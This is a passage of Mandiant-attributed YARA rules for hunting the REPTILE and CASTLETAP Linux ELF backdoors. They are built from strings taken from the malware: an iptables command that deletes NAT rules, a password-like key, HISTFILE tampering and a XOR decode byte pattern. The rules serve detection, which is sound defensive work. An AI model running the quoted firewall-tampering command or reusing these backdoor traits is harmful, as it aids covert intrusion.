$s2 = "iptables -t nat -S PREROUTING | tail -n +2 | grep -n -E '%1$s.*%2$d' | awk -F: '{print $1}'| xargs iptables -t nat -D PREROUTING"
condition:
uint32(0) == 0x464c457f and filesize < 5MB and @x1 <= @x2 and @x2 <= @x3 and @x3 <= @x4 and ( $z1 or any of ($s*) )
}
rule M_Hunting_Backdoor_REPTILE_1
{
meta:
author = "Mandiant"
description = "Looks for ELF backdoor REPTILE variant"
md5 = "53a69adac914808eced2bf8155a7512d"
strings:
$x1 = ";7(Zu9YTsA7qQ#vw"
$x2 = "mznCvqSBo"
$x3 = "hpaVAj2FJ"
$x4 = "%d.%d.%d.%d"
$x5 = "HISTFILE="
$x6 = "TERM"
$x7 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D } // taken from FE_Hunting_Linux_TINYSHELL_2_FEBeta.yara
condition:
uint32(0) == 0x464c457f and all of them and #x4 >= 3 and #x6 == 1 and filesize < 15MB
}
rule M_Hunting_Backdoor_CASTLETAP_1
{
meta:
author = "Mandiant"
description = "Finds strings observed in CASTLETOP ELF binary"
md5 = "e2d2884869f48f40b32fb27cc3bdefff"
strings:
$x1 = ";7(Zu9YTsA7qQ#vw"
$x2 = "qWWlC0v6yYh2yxu"
$x3 = "1qaz@WSXa"
$x4 = "hpaVAj2FJ"
$x5 = "%d.%d.%d.%d"
$x6 = "HISTFILE="
$x7 = "TERM"
$x8 = "/tmp/busybox"
$x9 = { 58 90 AE 86 F1 B9 1C F6 29 83 95 71 1D DE 58 0D }
condition:
uint16(18) == 183 and
uint16(16) == 0x02 and
uint32(0) == 0x464c457f and 1 of ($x*) and #x5 >= 3 and #x7 == 1 and filesize < 15MB
}
rule M_Hunting_Backdoor_CASTLETAP_2
{
meta:
author = "Mandiant"
description = "Finds byte pattern related to XOR decode function"
md5 = "e2d2884869f48f40b32fb27cc3bdefff"
strings:
$x1 = { ?? 14 40 B9 ?? B0 1D 11 ?? 10 40 B9 [5] 0C 40 B9 [5] 1F 80 52 [9] 1F 00 12 }
condition:
uint16(18) == 183 and
uint16(16) == 0x02 and
uint32(0) == 0x464c457f and any of them and filesize < 15MB
}
-Mandiant, 作成者: Alexander Marvi, Brad Slaybaugh, Dan Ebreo, Tufail Ahmed, Muhammad Umair, Tina Johnson